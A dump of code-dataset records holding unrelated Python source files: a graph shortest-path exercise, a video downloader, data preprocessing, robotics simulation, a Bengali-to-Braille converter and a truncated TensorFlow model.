dim_risk(id),\n\tADD CONSTRAINT fk_count_country FOREIGN KEY (country) REFERENCES dim_country(id),\n\tADD CONSTRAINT fk_count_asn FOREIGN KEY (asn) REFERENCES dim_asn(number),\n\tADD CONSTRAINT fk_count_time FOREIGN KEY (date) REFERENCES dim_time(date);\n\t''')\n\tcube_counstraints = dedent('''\n\tALTER TABLE agg_risk_country_{time}\n\tADD CONSTRAINT fk_cube_risk FOREIGN KEY (risk) REFERENCES dim_risk(id),\n\tADD CONSTRAINT fk_cube_country FOREIGN KEY (country) REFERENCES dim_country(id)\n\t''')\n\tcursor.execute(risk_constraints)\n\tcursor.execute(country_constraints)\n\tcursor.execute(asn_constraints)\n\tcursor.execute(time_constraints)\n\tcursor.execute(count_counstraints)\n\tcreate_or_update_cubes(cursor, cube_counstraints)\n\tconnection.commit()\n\n\ndef create_or_update_cubes(cursor,cmd):\n\ttime_granularities = [\n\t\t'week', 'month', 'quarter', 'year'\n\t]\n\tfor time in time_granularities:\n\t\tcursor.execute(cmd.format(time=time))\n\n\nif __name__ == '__main__':\n\tdelete_tables()\n\tcreate_tables()\n\tload_data() \n\taggregate_entries()\n\tcreate_constraints()\n","sub_path":"tests/aggregate.py","file_name":"aggregate.py","file_ext":"py","file_size_in_byte":5303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"296090490","text":"import heapq\r\n\r\ndef dijkstra(start, finish):\r\n d[start] = 0\r\n minHeap = []\r\n heapq.heappush(minHeap, (0, start))\r\n while len(minHeap) > 0:\r\n du, u = heapq.heappop(minHeap)\r\n if d[u] < du:\r\n continue\r\n if u == finish:\r\n break\r\n for v, w in graph[u]:\r\n if d[v] > du + w:\r\n d[v] = du + w\r\n heapq.heappush(minHeap, (d[v], v))\r\n return d[finish]\r\n \r\n\r\ntestcase = int(input())\r\nINF = int(1e9)\r\nfor _ in range(testcase):\r\n n = int(input())\r\n graph = [[] for _ in range(n + 1)]\r\n name = [\"\"] * (n + 1)\r\n for u in range(1, n + 1):\r\n name[u] = input()\r\n p = int(input())\r\n for i in range(p):\r\n v, w = map(int, input().split())\r\n graph[u].append((v, w))\r\n q = int(input())\r\n \r\n for i in range(q):\r\n uName, vName = input().split()\r\n u = name.index(uName)\r\n v = name.index(vName)\r\n d = [INF] * (n + 1)\r\n print(dijkstra(u, v))\r\n input()","sub_path":"Lecture09/theshortestpath.py","file_name":"theshortestpath.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"489050020","text":"import logging\nimport os\nimport pathlib\nimport time\n\nimport httpx\nimport yarl\nfrom tqdm import tqdm\n\nfrom .content_mt import mimetypes\nfrom .hls import HLS_STREAM_EXTENSIONS, hls_yield\nfrom .ffmpeg import FFMPEG_EXTENSIONS, ffmpeg_download, has_ffmpeg\n\nEXEMPT_EXTENSIONS = ['mpd']\n\ndef sanitize_filename(f):\n return ''.join(' - ' if _ in '<>:\"/\\\\|?*' else _ for _ in f).strip()\n\ndef get_extension(url):\n url = yarl.URL(url)\n position = url.name.find('.')\n if position == -1:\n return ''\n return url.name[position + 1:]\n\ndef guess_extension(content_type):\n for name, cd, extension in mimetypes:\n if cd == content_type:\n return (extension or '').lstrip('.')\n\ndef process_url(session, url, headers={}):\n \"\"\"\n Get the extension, content size and range downloadability forehand.\n\n Returns:\n\n `str`, `int`, `bool`\n \"\"\"\n response = session.head(url, headers=headers)\n response_headers = response.headers\n return (guess_extension(response_headers.get('content-type') or '') or get_extension(url) or get_extension(response.url)).lower(), int(response_headers.get('content-length') or 0), response_headers.get('accept-ranges') == 'bytes'\n\ndef standard_download(session: httpx.Client, url: str, content_dir: pathlib.Path, outfile_name: str, extension: str, content_size: int, headers: dict={}, ranges=True, **opts):\n file = \"{}.{}\".format(outfile_name, extension)\n\n logger = logging.getLogger('standard-downloader[{}]'.format(file))\n out_path = content_dir / pathlib.Path(sanitize_filename(file))\n\n if not ranges:\n logger.critical(\"Stream does not support ranged downloading; failed downloads cannot be continued.\")\n\n with open(out_path, 'ab') as outstream:\n downloaded = outstream.tell() if not ranges else 0\n progress_bar = tqdm(desc=\"GET / {}\".format(file), total=content_size, disable=opts.get('log_level', 20) > 20, initial=downloaded, unit='B', unit_scale=True, unit_divisor=1024)\n while content_size > downloaded:\n temporary_headers = headers.copy()\n if ranges:\n temporary_headers.update({'Ranges': 'bytes={}-'.format(downloaded)})\n try:\n with session.stream('GET', url, allow_redirects=True, headers=headers) as http_stream:\n for chunks in http_stream.iter_bytes():\n size = len(chunks)\n outstream.write(chunks)\n progress_bar.update(size)\n downloaded += size\n except httpx.HTTPError as e:\n if not ranges:\n downloaded = 0\n outstream.seek(0)\n progress_bar.clear()\n else:\n outstream.flush()\n logger.error(\"Downloading error due to {!r}, retrying.\".format(e))\n time.sleep(opts.get('retry_timeout') or 5.0)\n \n progress_bar.close()\n\ndef hls_download(session: httpx.Client, url: str, content_dir: pathlib.Path, outfile_name: str, headers: dict={}, **opts):\n\n sanitized = sanitize_filename(outfile_name)\n content_path = content_dir / \"{}.ts\".format(sanitized)\n index_holder = content_dir / \"{}.partialts\".format(sanitized)\n index = 1\n\n if index_holder.exists():\n with open(index_holder, 'r') as ih:\n index = int(ih.read() or 1)\n\n sizes = []\n with open(content_path, 'ab') as tsstream, open(index_holder, 'w+') as istream:\n downloaded = tsstream.tell()\n if downloaded:\n sizes.extend([downloaded / index] * index)\n progress_bar = tqdm(desc=\"HLS GET / {}.ts\".format(outfile_name), unit='B', unit_scale=True, unit_divisor=1024, initial=downloaded, disable=opts.get('log_level', 20) > 20,)\n\n for content in hls_yield(session, [{'stream_url': url, 'headers': headers}], opts.get('preferred_quality') or 1080, opts.get('retry_timeout') or 5, continuation_index=index):\n stream = content.get('bytes')\n total = content.get('total')\n current = content.get('current')\n\n size = len(stream)\n sizes.append(size)\n\n mean = (sum(sizes)/len(sizes))\n stddev = (sum(abs(mean - s)**2 for s in sizes)/len(sizes))**.5\n\n progress_bar.total = mean * total\n progress_bar.desc = 'HLS GET / {}.ts [± {:.3f} MB]'.format(outfile_name, stddev / (1024**2))\n progress_bar.update(size)\n\n istream.write(str(current or 0 + 1))\n istream.seek(0)\n istream.flush()\n\n tsstream.write(stream)\n \n progress_bar.close()\n os.remove(index_holder)\n\ndef idm_download(url, headers, content_dir, outfile_name, extension, **opts):\n file = \"{}.{}\".format(outfile_name, extension)\n from .idmanlib import wait_until_download as idmdl \n idmdl(url, headers=headers or {}, download_folder=content_dir, filename=file)\n\ndef handle_download(session, url, headers, content_dir, outfile_name, idm=False, use_ffmpeg=False, **opts):\n \n extension, content_size, ranges = process_url(session, url, headers)\n\n if use_ffmpeg and (extension in FFMPEG_EXTENSIONS and has_ffmpeg()):\n return ffmpeg_download(url, headers, outfile_name, content_dir, **opts)\n\n if extension in EXEMPT_EXTENSIONS:\n raise Exception(\"Download extension {!r} requires custom downloading which is not supported yet.\".format(extension))\n\n if extension in HLS_STREAM_EXTENSIONS:\n return hls_download(session, url, content_dir, outfile_name, headers or {}, **opts)\n\n if idm:\n return idm_download(url, headers or {}, content_dir, outfile_name, extension, **opts)\n\n return standard_download(session, url, content_dir, outfile_name, extension, content_size, headers or {}, ranges, **opts)\n","sub_path":"animdl/core/codebase/downloader/handle.py","file_name":"handle.py","file_ext":"py","file_size_in_byte":5816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"282563820","text":"from preprocessing.common.PrintablePreprocessorAbstractClass import PrintablePreprocessorAbstractClass\nfrom preprocessing.log_trasform.imports.imports import *\nimport preprocessing.log_trasform.imports.imports\nimport inspect\nimport re\n\n\nclass LogTransformStep(PrintablePreprocessorAbstractClass):\n\n def __init__(self, col_name):\n super().__init__(col_name)\n self.imports_loc = preprocessing.log_trasform.imports.imports\n\n def get_code(self):\n def extract_code(text):\n if type(text) == list:\n new_list = map(lambda line: re.sub(r\"\"\"return.*\"\"\", '', re.sub(r\"\"\"def.*\"\"\", '', line\n .replace('self.', '')\n .replace('col_name', \"\"\"'{}'\"\"\".format(self.col_name))\n .replace('df_log_transformed', \"\"\"df_log_transformed_{}\"\"\".format(self.col_name.lower()))\n )).strip(), text)\n return \"\\n\".join(new_list)\n\n elif type(text) == str:\n return re.sub(r\"\"\"return.*\"\"\", '', re.sub(r\"\"\"def.*\"\"\", '', text\n .replace('self.', '')\n .replace('col_name', \"\"\"'{}'\"\"\".format(self.col_name))\n .replace('df_log_transformed', \"\"\"df_log_transformed_{}\"\"\".format(self.col_name.lower()))\n )).strip()\n\n return \"\\n\".join(map(extract_code, [inspect.getsourcelines(self.transform)[0]]))\n\n def get_dependencies(self):\n return inspect.getsourcelines(self.imports_loc)[0]\n\n def transform(self, df):\n df_log_transformed = df[self.col_name].apply(lambda x: np.log(x + 1))\\\n .rename('log_transformed_{}'.format(self.col_name))\n df = df.drop([self.col_name], axis=1)\n df = df.join(df_log_transformed)\n return df\n","sub_path":"preprocessing/log_trasform/LogTransformStep.py","file_name":"LogTransformStep.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"508471536","text":"# -*- coding: utf-8 -*-\n\"\"\"\nhelper function: read audio from wav\n\n Args:\n afAudioData: audio file data\n iBlockLength: processing block length\n\n Returns:\n afAudioData (array): processed samples\n\"\"\"\n\nimport numpy as np\n\n\ndef ToolPreprocAudio(afAudioData, iBlockLength):\n\n # pre-processing: downmixing\n if afAudioData.ndim > 1:\n afAudioData = afAudioData.mean(axis=1)\n \n # pre-processing: normalization\n fNorm = np.max(np.abs(afAudioData))\n if fNorm != 0:\n afAudioData = afAudioData / fNorm\n\n # additional preprocessing step might include sample rate conversion and filtering\n \n # pad with block length zeros just to make sure it runs for weird inputs, too\n afAudioData = np.concatenate((afAudioData, np.zeros([iBlockLength, ])), axis=0)\n \n return afAudioData\n\n","sub_path":"pyACA/ToolPreprocAudio.py","file_name":"ToolPreprocAudio.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"544627048","text":"from pymongo import MongoClient\nimport sys\n\nif 'unittest' in list(sys.modules.keys()):\n DB_NAME = 'TESTS'\nelse:\n DB_NAME = 'fin_ua'\n\nmongo_host = 'localhost'\n\nclient = MongoClient(mongo_host, 27017, connect=True,\n serverSelectionTimeoutMS=10000)\nDATABASE = client[DB_NAME]","sub_path":"curs_auto-src/curs_auto/mongo_worker/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"448832026","text":"from vocabulary import Vocabulary\n \nPREPS = Vocabulary('PREPS', [\n'Back',\n'During',\n'together',\n'exception',\n'w',\n'plus',\n'day',\n'After',\n'nearby',\n'ta',\n'side',\n'in',\n'face',\n'about',\n'WITH',\n'more',\n'into',\n'luv',\n'On',\n'usual',\n'Hell',\n'LEAST',\n'par',\n'among',\n'4',\n'PHONE',\n'line',\n'WITHOUT',\n'besides',\n'peace',\n'ordinary',\n's',\n'but',\n'His',\n'part',\n'purpose',\n'@',\n'next',\n'down',\n'hurry',\n'HIS',\n'thru',\n'years',\n'hopes',\n'traffic',\n'schedule',\n'love',\n'on',\n'below',\n'whose',\n'market',\n'fault',\n'BACK',\n'In',\n'all',\n'our',\n'circa',\n'Her',\n'due',\n'Of',\n'BEFORE',\n'S',\n'imagination',\n'any',\n'towards',\n'their',\n'regardless',\n'via',\n'others',\n'from',\n'of',\n'past',\n'way',\n'long',\n'end',\n'levels',\n'AWAY',\n'colors',\n'aside',\n'home',\n'with',\n'cheap',\n'Upon',\n'Btwn',\n'Their',\n'under',\n'ago',\n'Because',\n'thanks',\n'bat',\n'late',\n'against',\n'Over',\n'upstairs',\n'along',\n'such',\n'business',\n'Atop',\n'clock',\n'other',\n'though',\n'front',\n'just',\n'From',\n'limbo',\n'comes',\n'matter',\n'around',\n'it',\n'To',\n'For',\n'by',\n'every',\n'forth',\n'rather',\n'warranty',\n'least',\n'abou',\n'MORE',\n'afterward',\n'town',\n'till',\n'instead',\n'inside',\n'since',\n'soon',\n'Instead',\n'person',\n'ON',\n'minus',\n'experience',\n'within',\n'until',\n'eat',\n'staff',\n'FROM',\n'what',\n'pain',\n'then',\n'call',\n'except',\n'HOME',\n'thier',\n'apart',\n'upon',\n'outside',\n'need',\n'top',\n'middle',\n't',\n'process',\n'flying',\n'AT',\n'Since',\n'there',\n'as',\n'her',\n'above',\n'COSTS',\n'go',\n'depending',\n'Out',\n'Your',\n'ALL',\n'THE',\n'budget',\n'sake',\n'date',\n'despite',\n'mean',\n'IN',\n'if',\n'Like',\n'corner',\n'detail',\n'beyond',\n'back',\n'near',\n'int',\n'THERE',\n'after',\n'Other',\n'across',\n'TO',\n'when',\n'to',\n'At',\n'large',\n'Our',\n'up',\n'according',\n\"It's\",\n'its',\n'AROUND',\n'spite',\n'd',\n'nothing',\n'With',\n'good',\n'control',\n'lookout',\n'during',\n'spot',\n'wheel',\n'terms',\n'you',\n'best',\n'You',\n'basis',\n'my',\n'and',\n'far',\n'As',\n'Within',\n'is',\n'death',\n'throughout',\n'surprise',\n'free',\n'stock',\n'whim',\n'own',\n'without',\n'away',\n'round',\n'behind',\n're',\n'OFF',\n'for',\n'THEIR',\n\"'\",\n'Unlike',\n'over',\n'his',\n'through',\n'between',\n'first',\n'most',\n'off',\n'like',\n'phone',\n'AS',\n'ur',\n'onto',\n\"'s\",\n'indoors',\n'because',\n'By',\n'no',\n'out',\n'premium',\n'before',\n'duty',\n'OVER',\n'MY',\n'fot',\n'than',\n'My',\n'Before',\n'Aside',\n'midst',\n'YOUR',\n'hold',\n'this',\n'circumstances',\n'Town',\n'downstairs',\n'interests',\n'running',\n'reason',\n'Among',\n'o',\n'that',\n'at',\n'less',\n'age',\n'stretch',\n'the',\n'search',\n'time',\n'OF',\n'ahead',\n'standpoint',\n'a',\n'FOR',\n'fo',\n'per',\n'your']\n)\n","sub_path":"models/pairwise_func_clust/vocabs/preps.py","file_name":"preps.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"435934238","text":"# Copyright 2020 Spotify AB\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\"\"\"\nKlio DoFn for basic integration test.\n\"\"\"\nimport apache_beam as beam\n\nimport json\n\nfrom klio.transforms import decorators\n\n\nclass LogKlioMessage(beam.DoFn):\n @decorators.handle_klio\n def process(self, item):\n self._klio.logger.info(\"Hello, Klio!\")\n self._klio.logger.info(\"Received element {}\".format(item.element))\n self._klio.logger.info(\"Received payload {}\".format(item.payload))\n\n element_str = item.element.decode(\"utf-8\")\n row = {\"entity_id\": element_str, \"value\": element_str}\n yield json.dumps(row)\n\n","sub_path":"integration/read-bq-write-bq/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"249035204","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 12 16:57:07 2018\n\n@author: robot\n\"\"\"\n\nfrom GA_Pattern import *\nfrom cpp_cfg import *\nfrom plotly import tools\nfrom numpy import *\nimport numpy as np\nimport Astar as A\n\nclass Point:\n \"\"\"\n 表示一个点\n \"\"\"\n def __init__(self,x,y):\n self.x=x;self.y=y\n \n def __eq__(self, other):\n if self.x==other.x and self.y==other.y:\n return True\n return False\n def __str__(self):\n return \"x:\"+str(self.x)+\",y:\"+str(self.y)\n\nclass Decode:\n def __init__(self):\n self.robNum = 0\n self.patternMax = 3\n self.chrom = []\n self.patternLst = []\n self.robRowLst = []\n self.robColLst = []\n self.robReachRowLst = []\n self.robReachColLst = []\n self.robReachSet = set()\n#==============================================================================\n# \n#==============================================================================\n self.robState = []\n self.coveredGrid = []\n self.robPatternLst = []\n self.robPatternStepLst = []\n self.path = []\n \n \n cfgFileName = '5_20_20_80_Outdoor_Cfg.txt'\n conFileDir = './/data//'\n degNameCfg = conFileDir + cfgFileName \n readCfg = Read_Cfg(degNameCfg)\n \n data = []\n readCfg.get('row',data)\n row = int(data.pop())\n \n readCfg.get('col',data)\n col = int(data.pop())\n \n mat = ones((row,col),dtype=int)\n \n obRowLst = []\n obColLst = []\n readCfg.get('obRow',obRowLst)\n readCfg.get('obCol',obColLst)\n \n for i in range(len(obRowLst)):\n obRow = int(obRowLst[i])\n obCol = int(obColLst[i])\n mat[obRow][obCol] = 0 \n \n \n readCfg.get('robReachRowLst',self.robReachRowLst)\n readCfg.get('robReachColLst',self.robReachColLst)\n \n# print(self.robReachColLst)\n for i in range(len(self.robReachColLst)):\n self.robReachSet.add((int(self.robReachRowLst[i])\n ,int(self.robReachColLst[i])))\n #print(self.robReachSet)\n#==============================================================================\n# 此处需要修改\n#==============================================================================\n\n self.envMat = mat \n \n readCfg.get('robRow',self.robRowLst)\n readCfg.get('robCol',self.robColLst)\n # print('self.robRowLst',self.robRowLst)\n # print('self.robColLst',self.robColLst)\n index = 0\n for unit in self.robRowLst:\n self.robRowLst[index] = int(unit)\n index = index + 1\n index = 0\n for unit in self.robColLst:\n self.robColLst[index] = int(unit)\n index = index + 1 \n self.robNum = len(self.robColLst)\n def addPattern(self):\n# p1\n turnLst = [1,1,1]\n locationLst = [0 for i in range(3)]\n self.patternLst.append(Pattern(turnLst = turnLst, locationLst = locationLst))\n# p2 \n turnLst = [0,0,0]\n locationLst = [1 for i in range(3)]\n self.patternLst.append(Pattern(turnLst = turnLst, locationLst = locationLst))\n# p3\n turnLst = [0,1,1]\n locationLst = [1 for i in range(3)]\n self.patternLst.append(Pattern(turnLst = turnLst, locationLst = locationLst))\n#p4\n turnLst = [0,1,0]\n locationLst = [0 for i in range(3)]\n self.patternLst.append(Pattern(turnLst = turnLst, locationLst = locationLst)) \n #self.displayPatternLst()\n#p5\n turnLst = [0,0,0]\n locationLst = [2 for i in range(3)]\n self.patternLst.append(Pattern(turnLst = turnLst, locationLst = locationLst))\n#p6 \n turnLst = [0,0,0]\n locationLst = [3 for i in range(3)]\n self.patternLst.append(Pattern(turnLst = turnLst, locationLst = locationLst))\n#p7\n turnLst = [0,1,1]\n locationLst = [2 for i in range(3)]\n self.patternLst.append(Pattern(turnLst = turnLst, locationLst = locationLst))\n#p8\n turnLst = [1,1,1]\n locationLst = [3 for i in range(3)]\n self.patternLst.append(Pattern(turnLst = turnLst, locationLst = locationLst)) \n #self.displayPatternLst()\n \n def displayPatternLst(self):\n for pattern in self.patternLst:\n print(pattern.dic)\n \n def calFitness(self):\n# print('begin decode')\n length = len(self.chrom)\n if(length != (self.patternMax*2+1)*self.robNum):\n print('it can not be calculated')\n# return -999\n actSeq = []\n for i in range(self.robNum):\n actSeq.append((i, self.chrom[i*(self.patternMax*2+1)]))\n# print(actSeq)\n actSeq.sort(key = lambda actUnit: actUnit[1])\n# print(actSeq)\n# print(sorted(actSeq,key = lambda actUnit: actUnit[1])) \n robState = []\n self.path.clear()\n self.coveredGrid = []\n self.robPatternLst.clear()\n self.robPatternStepLst.clear()\n for i in range(self.robNum):\n lst = []\n for j in range(self.patternMax):\n lst.append(self.chrom[i*(self.patternMax*2+1)+ 1 +j * 2])\n self.robPatternLst.append(lst)\n lst = []\n for j in range(self.patternMax):\n lst.append(self.chrom[i*(self.patternMax*2+1)+ 2 +j * 2])\n self.robPatternStepLst.append(lst)\n\n #print(self.robPatternLst)\n \n self.robState.clear()\n for i in range(self.robNum):\n# step mean the rob from one vertex to the next vertex\n dic = dict(step = 1,patternStep = 0, patternSeq = 0,act = True,pos = (self.robRowLst[i],self.robColLst[i]))\n self.robState.append(dic)\n self.path.append([])\n self.path[i].append(dic['pos'])\n self.coveredGrid.append((dic['pos'][0],dic['pos'][1]))\n\n #print(robState)\n \n circleTime = 0 \n while len(self.coveredGrid) < len(self.robReachSet):\n if(self.allRobotStuck()):\n break\n if(circleTime >1000):\n break\n circleTime = circleTime + 1\n for i in range(self.robNum):\n movRobID = actSeq[i][0] \n movRobPatternSeq = self.robState[movRobID]['patternSeq']\n movRobState = self.robState[movRobID]\n if(movRobState['act'] == False): \n continue \n if(movRobState['patternStep'] == self.robPatternStepLst[movRobID][movRobPatternSeq]):\n if(self.robState[movRobID]['patternSeq'] < self.patternMax - 1):\n self.robState[movRobID]['patternSeq'] = self.robState[movRobID]['patternSeq'] + 1\n #print('pattern change',self.robState[movRobID]['patternSeq'])\n movRobState['patternStep'] = 0\n if(movRobState['step'] == 1):\n while True: \n findNextPos = self.getNextPosition(movRobID)\n if(findNextPos):\n break\n if(findNextPos == False and self.robState[movRobID]['patternSeq'] == self.patternMax - 1):\n movRobState['act'] = False\n #print('rob ',movRobID,'is stuck')\n break\n self.robState[movRobID]['patternSeq'] = self.robState[movRobID]['patternSeq'] + 1\n# print('id',movRobID)\n# print('patternSEQ',self.robState[movRobID]['patternSeq'])\n if(movRobState['act'] == False):\n continue \n #print('self.robState[movRobID]:',self.robState[movRobID]['pos'])\n self.path[movRobID].append(self.robState[movRobID]['pos'])\n else:\n# self.path[movRobID].append(self.robState[movRobID]['pos']) \n movRobState['step'] = movRobState['step'] - 1\n \n####XMeng添加内容######################################\n######################################################\n for i in range(self.robNum):\n movRobID = actSeq[i][0] \n rob_path=self.path[movRobID]\n #print('movRobID',movRobID)\n #print('rob_path',rob_path)\n #print('rob_path_len',len(rob_path))\n rob_path_again=[]\n for index,item in enumerate(rob_path):\n if index physics is broken\np.setTimeStep(0.033)\np.setPhysicsEngineParameter(numSolverIterations=32, numSubSteps=4)\np.setPhysicsEngineParameter(enableConeFriction=0)\n\np.configureDebugVisualizer(p.COV_ENABLE_RENDERING,0)\n\np.loadURDF(\"plane.urdf\",[0,0,0], useMaximalCoordinates=True)\nfor x in range(-N, N):\n for y in range(-N, N):\n orientation = p.getQuaternionFromEuler([3.14157 / 2, 0.1 * x, 0.1 * y])\n minis = p.loadURDF(\"minis.urdf\", (x,y,.282), orientation,\n flags = p.URDF_USE_INERTIA_FROM_FILE)\n \n # activate servos (to hold pos = 0).\n for i in range(p.getNumJoints(minis)):\n motor_id, joint_name, joint_type = p.getJointInfo(minis, i)[:3] \n if joint_type == p.JOINT_REVOLUTE:\n p.resetJointState(minis, motor_id, targetValue=0, targetVelocity=0)\n \n p.setJointMotorControl2(\n bodyIndex=minis, jointIndex=motor_id, controlMode=p.POSITION_CONTROL,\n targetPosition=0, positionGain=1.0, velocityGain=0.1,\n force=1.2748, maxVelocity=2.083)\n\np.configureDebugVisualizer(p.COV_ENABLE_RENDERING,1)\n\n\n\n#step the simulation for STEPS steps\ntime_start = time.time()\nfor i in range(STEPS):\n if PROFILE and i == 30: logId=p.startStateLogging(p.STATE_LOGGING_PROFILE_TIMINGS, \"stepTimings\")\n p.stepSimulation()\n if PROFILE and i == 40: p.stopStateLogging(logId)\n\ntime_end = time.time()\n\nprint(\"FPS TOTAL = \", 4*N*N*STEPS / (time_end - time_start), \"STEP = \", (time_end - time_start) * 1000 / STEPS, \"ms\")\n","sub_path":"test-minises.py","file_name":"test-minises.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"394382479","text":"from __future__ import print_function\nch=['অ', 'আ', 'ই', 'ঈ', 'উ', 'ঊ', 'ঋ', 'এ', 'ঐ', 'ও', 'ঔ', 'ক', 'খ', 'গ', 'ঘ', 'ঙ', 'চ', 'ছ', 'জ', 'ঝ', 'ঞ', 'ট', 'ঠ', 'ড', 'ঢ', 'ণ', 'ত', 'থ', 'দ', 'ধ', 'ন', 'প', 'ফ', 'ব', 'ভ', 'ম', 'য', 'র', 'ল', 'শ', 'ষ', 'স', 'হ', 'ড়', 'ঢ়', 'য়', 'ৎ', 'ং', 'ঃ', 'ঁ', ';', '”', '।', '–', '!', '=', '‘', '’', '[', ']', '*', '“', '?', '্ ', '/', ':', ', ', '.', '(', ')', 'া', 'ি', 'ী', 'ু', 'ূ', 'ৃ', 'ে', 'ৈ', 'ো', 'ৌ', 'ক্ষ', 'জ্ঞ', '2', '3', '4', '০', '১', '২', '৩', '৪', '৫', '৬', '৭', '৮', '৯', ' ']\nbraille=[1, 345, 24, 35, 136, 1256, 5.1235, 15, 34, 135, 246, 13, 1346, 1245, 126, 346, 14, 16, 245, 1356, 25, 23456, 2456, 1246, 123456, 3456, 2345, 1456, 145, 2346, 1345, 1234, 124, 12, 1236, 134, 13456, 1235, 123, 146, 12346, 234, 125, 12456, 12356, 26, 2.2345, 56, 6, 3, 23, 356, 256, 36, 235, 56.2356, 6.236, 356.3, 6.2345, 2345.6, 35.35, 236, 236, 356, 34, 36, 2, 2, 2356, 2356, 345, 24, 35, 136, 1256, 5.1235, 15, 34, 135, 246, 12345, 156, 4, 46, 46, 3456.245, 3456.1, 3456.12, 3456.14, 3456.145, 3456.15, 3456.124, 3456.1245, 3456.125, 3456.24,]\n\nword='প্রজেক্ট এ২৫: বাংলা টেক্সট টু ব্রেইল কনভার্শন ।'\ndef split(word):\n return [char for char in word]\nsr=split(word)\n\n\ndef get_index_positions(list_of_elems, element):\n ''' Returns the indexes of all occurrences of give element in\n the list- listOfElements '''\n index_pos_list = []\n index_pos = 0\n while True:\n try:\n # Search for item in list from indexPos to the end of list\n index_pos = list_of_elems.index(element, index_pos)\n # Add the index position in list\n index_pos_list.append(index_pos)\n index_pos += 1\n except ValueError as e:\n break\n return index_pos_list\nindd=get_index_positions(sr,'্')\n\n\n#jukto borno\n\n #2 letter \nfor i in range(0,len(indd)):\n#for the last item\n if i==len(indd)-1:\n sr.insert(indd[i]-1,'2')\n sr.pop(indd[i]+1)\n break\n\n \n if indd[i+1]!=indd[i]+2:\n sr.insert(indd[i]-1,'2')\n sr.pop(indd[i]+1)\n if indd[i+1]==indd[i]+2:\n sr.insert(indd[i]-1,'2')\n sr.pop(indd[i]+1)\n# 4letter\nind=get_index_positions(sr,'2')\ninde=get_index_positions(sr,'2')\n\nfor i in range(0,len(ind)-2):\n if ind[i]+2==ind[i+1]:\n if i==len(indd):\n \n break\n \n if ind[i]+4==ind[i+2]:\n sr[ind[i]]='4'\n inde.remove(inde[i+1])\n inde.remove(inde[i+1])\n\n \n\n \n\nfinal_list = list(set(ind) - set(inde))\nfinal_list.sort(reverse=True)\n\nfor i in final_list:\n sr.pop(i)\n # 3 letter\n\nind=get_index_positions(sr,'2')\ninde=get_index_positions(sr,'2')\nfor i in range(0,len(ind)-1): \n if ind[i]+2==ind[i+1]:\n sr[ind[i]]='3'\n inde.remove(inde[i+1])\n\n\n \n \nfinal_list = list(set(ind) - set(inde))\nfinal_list.sort(reverse=True)\nfor i in final_list:\n sr.pop(i)\n\n\nrakiba=[]\nfor cha in sr:\n if cha==' ':\n continue\n if cha in sr:\n index=ch.index(cha)\n if '.' in str(braille[index]):\n x = str(braille[index]).split(\".\")\n a=int(x[0])\n b=int(x[1])\n\n rakiba.append(a)\n rakiba.append(b)\n else:\n rakiba.append(braille[index])\nprint(sr)\nprint(rakiba)\n\nfor b in rakiba:\n p=str(b)\n p=split(p)\n p.sort()\n \n print(\"for %d\"%b)\n for x in range(1,4):\n if str(x) in p:\n if str(x+3) in p:\n\n k=[\".\",\" \",\".\"]\n print(*k,sep='')\n else:\n k=[\".\",\" \",\" \"]\n print(*k,sep='')\n elif str(x+3) in p and str(x) not in p:\n k=[\" \",\" \",\".\"]\n print(*k,sep='')\n else:\n k=[\" \",\" \",\" \"]\n print(*k,sep='')\n print(\"\\t\")\n \n\n \n\n \n\n\n \n \n\n\n\n\n \n \n \n\n \n\n\n\n","sub_path":"Bangla-Text-To-Braille-converter.py","file_name":"Bangla-Text-To-Braille-converter.py","file_ext":"py","file_size_in_byte":4169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"170611909","text":"IDENTIFIER_TYPES = (\n {\n \"id\": 11,\n \"name\": \"Trial registry ID\"\n },\n {\n \"id\": 41,\n \"name\": \"Regulatory body ID\"\n },\n {\n \"id\": 12,\n \"name\": \"Ethics review ID\"\n },\n {\n \"id\": 13,\n \"name\": \"Funder's ID\"\n },\n {\n \"id\": 14,\n \"name\": \"Sponsor's ID\"\n },\n {\n \"id\": 39,\n \"name\": \"NIH CTRP ID\"\n },\n {\n \"id\": 40,\n \"name\": \"DAIDS ID\"\n },\n {\n \"id\": 42,\n \"name\": \"NHLBI ID\"\n }\n)\n","sub_path":"configs/types/identifier_types.py","file_name":"identifier_types.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"166674664","text":"import tensorflow as tf\nimport numpy as np\nfrom config import CONFIG\n\nconst_init = tf.constant_initializer(0.0)\nxavier_init = tf.contrib.layers.xavier_initializer()\nxavier_init_conv2d = tf.contrib.layers.xavier_initializer_conv2d()\n\nAction_num = CONFIG.ACTION_NUM\nBETA = CONFIG.BETA\nlr = CONFIG.LEARNING_RATE\nG = CONFIG.GLOBAL_STEP\n\ndef conv_op(x, kernel_shape, stride, 